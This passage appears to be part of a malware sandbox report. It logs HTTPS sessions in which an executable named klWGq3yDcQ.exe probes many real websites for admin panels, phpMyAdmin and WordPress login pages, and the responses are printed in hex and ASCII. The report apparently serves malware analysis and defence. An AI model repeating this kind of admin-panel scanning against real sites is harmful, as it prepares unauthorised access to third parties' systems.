2f 3b 20 73 Data Ascii: HTTP/1.1 200 OKConnection: closex-powered-by: PHP/7.2.34expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8set-cookie: wordpress_test_cookie=WP+Cookie+check; path=/; s
2023-11-26 05:59:42 UTC	813	IN	Data Raw: 32 32 37 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 50 45 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 49 6e 69 63 69 61 72 20 73 65 73 69 c3 b3 6e 20 26 6c 73 61 71 75 6f 3b 20 53 61 6d 73 6f 6e 20 43 6f 6e 74 72 6f 6c 73 20 50 65 72 c3 ba 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 21 Data Ascii: 2277<!DOCTYPE html><html lang="es-PE"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Iniciar sesin &lsaquo; Samson Controls Per — WordPress</title><meta name='robots' content='noindex, follow' /><!
2023-11-26 05:59:42 UTC	8018	IN	Data Raw: 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 6f 67 69 6e 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 73 61 6d 73 6f 6e 2e 70 65 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 6f 67 69 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 53 69 74 65 20 4b 69 74 20 62 79 20 47 6f 6f 67 6c 65 20 31 2e 31 31 34 2e 30 22 20 2f 3e 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 65 66 65 72 72 65 72 27 20 63 6f 6e 74 65 6e 74 3d 27 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 27 20 2f 3e 0a 09 09 Data Ascii: l='stylesheet' id='login-css' href='https://samson.pe/wp-admin/css/login.min.css?ver=6.4.1' type='text/css' media='all' /><meta name="generator" content="Site Kit by Google 1.114.0" /><meta name='referrer' content='strict-origin-when-cross-origin' />
2023-11-26 05:59:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
346	192.168.2.4	64237	13.32.208.27	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	172	OUT	GET /admin HTTP/1.1 Host: www.perrisesd.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	1145	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 36 37 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a 53 65 72 76 65 72 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 49 49 53 2f 31 30 2e 30 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c 75 64 65 53 75 62 44 6f 6d 61 69 6e Data Ascii: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Content-Length: 3067Connection: closeDate: Sun, 26 Nov 2023 05:59:42 GMTCache-Control: privateServer: Microsoft-IIS/10.0Strict-Transport-Security: max-age=31536000; includeSubDomain
2023-11-26 05:59:42 UTC	3067	IN	Data Raw: 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 53 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 65 72 72 69 73 65 73 64 2e 6f 72 67 2f 53 74 61 74 69 63 2f 2f 73 69 74 65 2f 61 73 73 65 74 73 2f 53 74 79 6c 65 73 2f 73 79 73 74 65 6d 5f 32 37 34 31 2e 63 73 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 Data Ascii: <html><head> <link rel="Stylesheet" type="text/css" href="https://www.perrisesd.org/Static//site/assets/Styles/system_2741.css" /> <title>Error 404 - Page Not Found</title> <style type="text/css"> @font-face { font

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
347	192.168.2.4	64234	23.185.0.1	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	169	OUT	GET /admin.php HTTP/1.1 Host: avient.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	624	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 76 69 65 6e 74 2e 63 6f 6d 2f 61 64 6d 69 6e 2e 70 68 70 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 36 32 32 34 30 30 0d 0a 58 2d 50 61 6e 74 68 65 6f 6e 2d 53 74 79 78 2d 48 6f 73 74 6e 61 6d 65 3a 20 73 74 79 78 2d 66 65 31 2d 61 2d 37 63 39 63 Data Ascii: HTTP/1.1 301 Moved PermanentlyConnection: closeContent-Length: 0Content-Type: text/html; charset=UTF-8Location: https://www.avient.com/admin.phpServer: nginxStrict-Transport-Security: max-age=31622400X-Pantheon-Styx-Hostname: styx-fe1-a-7c9c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
348	192.168.2.4	64372	104.200.30.31	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	170	OUT	GET /admin HTTP/1.1 Host: edgewater.group Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	164	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 39 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:42 GMTServer: ApacheContent-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:42 UTC	196	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
349	192.168.2.4	64304	72.167.58.161	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	165	OUT	GET /pma/ HTTP/1.1 Host: webstamp.ca Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	275	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 75 70 67 72 61 64 65 2d 69 6e 73 65 63 75 72 65 2d 72 65 71 75 65 73 74 73 3b 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 74 65 6e 74 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:42 GMTServer: ApacheContent-Security-Policy: upgrade-insecure-requests;Upgrade: h2,h2cConnection: Upgrade, closeAccept-Ranges: bytesVary: Accept-EncodingTransfer-Encoding: chunkedContent
2023-11-26 05:59:42 UTC	641	IN	Data Raw: 32 37 35 0d 0a 2f 70 6d 61 2f 4f 4f 50 53 21 20 53 6f 6d 65 74 68 69 6e 67 20 77 65 6e 74 20 77 72 6f 6e 67 2e 20 54 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 68 61 73 20 62 65 65 6e 20 0d 0a 72 65 6d 6f 76 65 64 20 6f 72 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 64 65 72 20 6d 61 69 6e 74 65 6e 61 6e 63 65 2e 0d 0a 46 65 65 6c 20 66 72 65 65 20 74 6f 20 72 65 61 64 20 74 68 65 20 6d 61 6e 79 20 6f 74 68 65 72 20 61 72 74 69 63 6c 65 73 20 61 76 61 69 6c 61 62 6c 65 20 61 74 20 0d 0a 68 74 74 70 73 3a 2f 2f 77 65 62 73 74 61 6d 70 2e 63 61 0d 0a 3c 21 2d 2d 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 275/pma/OOPS! Something went wrong. The page you requested has been removed or is currently under maintenance.Feel free to read the many other articles available at https://webstamp.ca...

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
350	192.168.2.4	64329	34.149.87.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	171	OUT	GET /en/admin HTTP/1.1 Host: www.dstaq.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	1078	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 38 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 58 2d 57 69 78 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 31 37 30 30 39 37 38 33 38 32 2e 35 34 36 31 30 33 32 38 37 30 38 39 39 32 35 31 35 30 0d 0a 41 67 65 3a 20 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 53 65 72 76 65 72 3a 20 50 65 70 79 61 6b 61 2f 31 2e 31 39 2e 31 30 0d Data Ascii: HTTP/1.1 404 Not FoundContent-Length: 2865Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1700978382.546103287089925150Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10
2023-11-26 05:59:42 UTC	174	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-s
2023-11-26 05:59:42 UTC	1252	IN	Data Raw: 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 Data Ascii: calable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <meta name="r
2023-11-26 05:59:42 UTC	1252	IN	Data Raw: 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 72 Data Ascii: arty/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/er
2023-11-26 05:59:42 UTC	187	IN	Data Raw: 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: gardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
351	192.168.2.4	64220	104.26.12.245	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	177	OUT	GET /wp-login.php HTTP/1.1 Host: hightideinc.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	774	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 76 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:42 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0
2023-11-26 05:59:42 UTC	595	IN	Data Raw: 31 38 65 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 48 69 67 68 20 54 69 64 65 20 49 6e 63 2e 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 61 72 63 68 69 76 65 Data Ascii: 18e9<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; High Tide Inc. — WordPress</title><meta name="robots" content="max-image-preview:large, noindex, noarchive
2023-11-26 05:59:42 UTC	1369	IN	Data Raw: 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 66 6f 72 6d 73 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 6c 31 30 6e 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 31 30 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d Data Ascii: "https://hightideinc.com/wp-admin/css/forms.min.css?ver=6.4.1" type="text/css" media="all" /><link rel="stylesheet" id="l10n-css" href="https://hightideinc.com/wp-admin/css/l10n.min.css?ver=6.4.1" type="text/css" media="all" /><link rel="stylesheet" id=
2023-11-26 05:59:42 UTC	1369	IN	Data Raw: 41 64 64 72 65 73 73 3c 2f 6c 61 62 65 6c 3e 0a 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 6e 61 6d 65 3d 22 6c 6f 67 22 20 69 64 3d 22 75 73 65 72 5f 6c 6f 67 69 6e 22 20 63 6c 61 73 73 3d 22 69 6e 70 75 74 22 20 76 61 6c 75 65 20 73 69 7a 65 3d 22 32 30 22 20 61 75 74 6f 63 61 70 69 74 61 6c 69 7a 65 3d 22 6f 66 66 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 75 73 65 72 6e 61 6d 65 22 20 72 65 71 75 69 72 65 64 3d 22 72 65 71 75 69 72 65 64 22 20 2f 3e 0a 3c 2f 70 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 75 73 65 72 2d 70 61 73 73 2d 77 72 61 70 22 3e 0a 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 75 73 65 72 5f 70 61 73 73 22 3e 50 61 73 73 77 6f 72 64 3c 2f 6c 61 62 65 6c 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 70 2d 70 77 64 22 3e 0a Data Ascii: Address</label><input type="text" name="log" id="user_login" class="input" value size="20" autocapitalize="off" autocomplete="username" required="required" /></p><div class="user-pass-wrap"><label for="user_pass">Password</label><div class="wp-pwd">
2023-11-26 05:59:42 UTC	1369	IN	Data Raw: 28 29 3b 20 64 2e 73 65 6c 65 63 74 28 29 3b 7d 20 63 61 74 63 68 28 20 65 72 20 29 20 7b 7d 7d 2c 20 32 30 30 29 3b 7d 0a 77 70 5f 61 74 74 65 6d 70 74 5f 66 6f 63 75 73 28 29 3b 0a 69 66 20 28 20 74 79 70 65 6f 66 20 77 70 4f 6e 6c 6f 61 64 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 20 29 20 7b 20 77 70 4f 6e 6c 6f 61 64 28 29 20 7d 0a 2f 2a 20 5d 5d 3e 20 2a 2f 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 70 20 69 64 3d 22 62 61 63 6b 74 6f 62 6c 6f 67 22 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 22 3e 26 6c 61 72 72 3b 20 47 6f 20 74 6f 20 48 69 67 68 20 54 69 64 65 20 49 6e 63 2e 3c 2f 61 3e 20 3c 2f 70 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 69 76 61 63 79 2d 70 6f 6c 69 63 79 2d 70 61 Data Ascii: (); d.select();} catch( er ) {}}, 200);}wp_attempt_focus();if ( typeof wpOnload === 'function' ) { wpOnload() }/* ... */</script><p id="backtoblog"><a href="https://hightideinc.com/">← Go to High Tide Inc.</a> </p><div class="privacy-policy-pa
